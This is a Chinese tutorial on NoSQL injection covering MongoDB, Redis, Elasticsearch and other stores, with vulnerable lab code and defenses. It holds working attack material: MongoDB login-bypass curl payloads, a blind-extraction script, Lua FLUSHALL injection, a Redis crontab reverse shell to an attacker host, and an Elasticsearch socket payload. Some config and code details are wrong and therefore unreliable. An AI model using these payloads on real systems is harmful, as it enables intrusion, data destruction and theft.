一、NoSQL 不是 SQL,但同样会被注入
NoSQL 数据库近年来广泛应用于互联网后端,但很多开发者误以为"不用 SQL 就没有注入"。实际上,NoSQL 注入攻击面更隐蔽、更丰富。本文覆盖 MongoDB、Redis、Elasticsearch 三大主流 NoSQL 的注入技术。
二、MongoDB 注入
2.1 MongoDB 查询语言基础
// MongoDB 的查询对象
db.users.find({ username: "admin", password: "admin123" })
// 对应的 Node.js 代码
const query = { username: req.body.username, password: req.body.password };
db.collection('users').findOne(query);
2.2 运算符注入(最常见)
MongoDB 的查询运算符($ne, $gt, $regex 等)如果被直接用在用户输入中,就会触发注入。
靶场 Node.js 代码
// 危险写法:用户输入直接作为查询值
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const query = { username, password }; // password 可能是对象!
const user = await db.collection('users').findOne(query);
res.json(user ? { ok: true, user } : { ok: false });
});
攻击 Payload
# 运算符注入:$ne 表示不等于,绕过密码检查
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":""}}'
# MongoDB 执行: findOne({username:"admin", password: {$ne:""}})
# 等价于: 找到 username=admin 且 password != "" 的用户(几乎必定存在)
# $gt 注入:密码大于空字符串
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'
# $regex 注入:用正则匹配任意密码
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":".*"}}'
# $exists 注入
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$exists":true}}'
# $in 注入
curl -X POST http://target/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$in":["","admin","123456"]}}'
2.3 更隐蔽的 MongoDB 注入场景
场景一:只过滤了字符串参数
// 开发者以为只需要把用户名转成字符串
const query = { username: String(username), password };
// password 仍然可以是对象!
场景二:JavaScript 引擎不一致
某些情况下 MongoDB 后端用 JavaScript 解析查询:
// 危险:直接传 JS 对象到 $where
db.users.find({ $where: `this.username == '${username}'` })
// 注入: username = "admin' || '1'=='1"
// 变成: $where: "this.username == 'admin' || '1'=='1'"
场景三:正则表达式注入
// 用户输入直接拼到正则里
const regex = new RegExp(req.query.q, 'i');
db.products.find({ name: regex });
# 正则注入 payload
q=')|('|^
# 正则匹配所有行
2.4 MongoDB 注入自动化脚本
import requests
import json
class MongoInjector:
def __init__(self, url):
self.url = url
self.session = requests.Session()
def try_operator(self, field, operator, value):
payload = {field: {operator: value}}
r = self.session.post(
self.url,
json=payload,
headers={'Content-Type': 'application/json'}
)
return r.json()
def extract_field(self, condition_field, value_field, max_len=128):
"""布尔盲注思路提取字段值"""
result = []
for pos in range(1, max_len + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
# MongoDB: find where substring is >= mid
payload = {
"username": "admin",
"$expr": {
"$gte": [
{"$toInt": {"$substr": [value_field, pos-1, 1]}},
mid
]
}
}
r = self.session.post(self.url, json=payload)
if r.json().get('ok'):
low = mid + 1
else:
high = mid - 1
if high < 32:
break
result.append(chr(high))
print(chr(high), end='', flush=True)
print()
return ''.join(result)
def list_collections(self):
"""尝试列出集合(需要 admin 权限接口)"""
return self.try_operator(
'collection', '$regex', '.*'
)
2.5 MongoDB 防御
// 1. 用 Joi/validator 严格验证输入类型
const schema = Joi.object({
username: Joi.string().required(),
password: Joi.string().required()
});
const validated = schema.validate(req.body);
// 2. 用 JSON Schema 拒绝所有对象类型
function sanitize(obj) {
for (let key in obj) {
if (typeof obj[key] === 'object' && obj[key] !== null) {
delete obj[key];
}
}
return obj;
}
// 3. 或用 mongoose 严格 schema
const User = mongoose.model('User', new mongoose.Schema({
username: { type: String, required: true },
password: { type: String, required: true },
}));
三、Redis 注入
3.1 Redis 命令基础
# Redis 协议(RESP)
SET key value
GET key
HSET hash field value
EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 mykey myvalue
3.2 命令拼接注入
靶场 Python Redis 客户端
import redis
r = redis.Redis(host='localhost', port=6379)
# 危险:直接字符串格式化
key = f"user:{user_id}"
r.set(key, user_data)
# 如果 user_id 包含特殊字符,可能影响 Redis 命令
场景:通过用户输入构造 key
# 危险:用户输入作为 key 的一部分
cache_key = f"product:{req.params.id}"
r.set(cache_key, json.dumps(product))
# Redis 本身没有真正的命令注入(RESP 协议是安全的)
# 但应用层可能用了 eval 或字符串拼接
场景:Redis Lua 脚本注入
# 危险:Lua 脚本中拼接用户输入
lua_script = f"""
local data = redis.call('GET', 'user:{user_id}')
return data
"""
r.eval(lua_script, 0)
# 攻击: user_id = "1'; return redis.call('FLUSHALL'); --"
# Lua 脚本可能被注入
3.3 Redis Eval/Script 注入
// Node.js + ioredis
const Redis = require('ioredis');
const redis = new Redis();
// 危险:模板字符串拼接用户输入
async function getUser(userId) {
const lua = `
local key = "user:${userId}"
return redis.call('GET', key)
`;
return redis.eval(lua, 0);
}
// 攻击:userId = 'none"; redis.call("FLUSHALL"); return "x'
// 执行了 FLUSHALL!
3.4 Redis 注入的实际危害
# 写入 SSH 公钥
# 1. 生成密钥对
ssh-keygen -t rsa -f id_rsa
# 2. 写 authorized_keys 到 Redis
redis-cli -h target -p 6379 SET /var/www/html/.ssh/authorized_keys "\n\nssh-rsa AAAAB3...\n\n"
# 3. 配置 Redis 保存路径
redis-cli -h target CONFIG SET dir /var/www/html/.ssh/
redis-cli -h target CONFIG SET dbfilename authorized_keys
redis-cli -h target SAVE
# 4. 如果 Redis 权限够,还可以写 crontab
redis-cli -h target CONFIG SET dir /var/spool/cron/
redis-cli -h target CONFIG SET dbfilename root
redis-cli -h target SET data "\n\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n\n"
redis-cli -h target SAVE
3.5 Redis 防御
# 1. 绑定本地
bind 127.0.0.1
# 2. 设置密码
requirepass strong_password_here
# 3. 重命名危险命令
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
# 4. 禁用持久化(如果不需要)
save "" # 禁用 RDB
appendonly no # 禁用 AOF
# 5. 设置密码 + TLS
requirepass mysecretpassword
tls-port 6380
tls-cert-file redis.crt
tls-key-file redis.key
四、Elasticsearch 注入
4.1 ES 查询 DSL 基础
{
"query": {
"match": { "name": "MacBook" }
}
}
4.2 query_string 注入
ES 的 query_string 支持 Lucene 查询语法。如果用户输入直接进入 query_string,就可以注入 Lucene 语法。
靶场 Node.js ES 查询
const { Client } = require('@elastic/elasticsearch');
const client = new Client({ node: 'http://localhost:9200' });
app.get('/search', async (req, res) => {
const q = req.query.q;
// 危险:用户输入直接进入 query_string
const body = {
query: {
query_string: { query: q }
}
};
const result = await client.search({ index: 'products', body });
res.json(result.body.hits.hits);
});
攻击 Payload
# 注入 Lucene 语法绕过条件
curl "http://target/search?q=MacBook OR price:[0 TO 99999]"
# 返回所有产品
# 注入字段存在检查(数据外带)
curl "http://target/search?q=MacBook OR (*:*)"
# 注入 script_score(可能触发脚本执行)
curl "http://target/search?q=MacBook AND _name:doc"
4.3 Elasticsearch 不同类型的注入
| 类型 | 风险 | 示例 Payload |
|---|---|---|
| query_string | Lucene 语法注入 | *:* |
| script query | 可能 RCE | "script": "import java.io.*; ..." |
| dynamic_template | 映射污染 | 动态字段映射 |
| search_after | 越权翻页 | 构造 search_after 游标 |
4.4 ES Script 注入
Elasticsearch 支持 Groovy/Painless 脚本。如果启用了 Groovy,可能导致 RCE。
{
"query": {
"script": {
"script": "def s = new Socket('attacker.com', 4444); ..."
}
}
}
Painless 是安全受限的脚本语言,但仍可能被用于信息泄露:
{
"script_fields": {
"has_admin": {
"script": "doc['role.keyword'].value == 'admin'"
}
}
}
4.5 Elasticsearch 防御
// 1. 用 match 代替 query_string
const body = {
query: {
match: { name: q } // 安全!不支持 Lucene 语法
}
};
// 2. 如果必须用 query_string,限制 Lucene 语法
const body = {
query: {
query_string: {
query: q,
analyze_wildcard: false, // 禁止通配符
allow_leading_wildcard: false,
enabled: true
}
}
};
// 3. 禁用 Groovy 脚本
// elasticsearch.yml
// script.allowed_types: painless
// script.disable_dynamic: true (已废弃,用下面的)
// cluster.routing.allocation.enable: none (不是)
五、其他 NoSQL 注入变体
5.1 CouchDB 注入
// _view 查询中的 map function 注入
// 如果应用把用户输入拼到 view 中...
// _temp_view 的 map/reduce 注入
curl -X POST http://target:5984/_temp_view \
-H "Content-Type: application/json" \
-d '{
"map": "function(doc) { if (doc.password) emit(doc._id, doc.password) }"
}'
5.2 Cassandra CQL 注入
Cassandra 用的不是 SQL 但语法类似。如果用字符串拼接:
# 危险
query = f"SELECT * FROM users WHERE username = '{username}'"
session.execute(query)
# 安全
query = "SELECT * FROM users WHERE username = ?"
session.execute(query, (username,))
CQL 的 PREPARED STATEMENT 就是防注入的。
5.3 Memcached 注入
Memcached 协议简单,主要风险在应用层:
# 危险:key 中包含特殊字符
key = f"user:{username}:{tab}".replace('|', ':') # 如果 tab 可控
# Memcached 没有真正的命令注入,但如果应用层拼接可能出问题
5.4 GraphQL API 注入
很多应用用 GraphQL 访问 NoSQL,注入面转移到 GraphQL 层:
# GraphQL 注入
{
user(where: { username: { _eq: "admin" } }) {
password
}
}
# 如果后端把 GraphQL 输入拼到数据库查询...
六、NoSQL 注入 vs SQL 注入
| 维度 | SQL 注入 | NoSQL 注入 |
|---|---|---|
| 原理 | 注入 SQL 语法 | 注入运算符/语法 |
| 复杂度 | 高(需要理解 SQL) | 低(简单的运算符) |
| 防御 | 参数绑定 | 严格类型检查 + 白名单 |
| WAF 检测 | 成熟 | 尚不完善 |
| 危害 | 数据泄露/RCE | 数据泄露/绕过鉴权 |
七、通用防御策略
7.1 严格输入验证
// TypeScript schema 验证
interface LoginInput {
username: string;
password: string;
}
function safeLogin(input: LoginInput) {
// TypeScript 已经确保 username/password 是 string
// 不会被注入对象形式的运算符
}
7.2 拒绝特殊类型的输入
def sanitize_no_sqli(data):
"""递归移除所有 MongoDB 运算符"""
if isinstance(data, dict):
return {k: sanitize_no_sqli(v) for k, v in data.items()
if not k.startswith('$')}
elif isinstance(data, list):
return [sanitize_no_sqli(item) for item in data]
else:
return data
7.3 ORM 框架保护
- Mongoose(MongoDB):Schema 强制类型
- Sequelize(SQL + NoSQL):参数化
- Prisma:强类型 + 参数化
- Drizzle ORM:类型安全 + 参数化
7.4 NoSQL 专用防护
# MongoDB 网络层
security.authorization.enabled: true
security.membership.host: private_ip
net.bindIp: 127.0.0.1
# ES 安全设置
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
NoSQL 注入的本质和 SQL 注入一样:用户输入变成了可执行的查询语法。防御的核心也一样:隔离数据和语法。在 NoSQL 中,隔离方式是严格的类型检查 + 拒绝所有非预期的类型/运算符。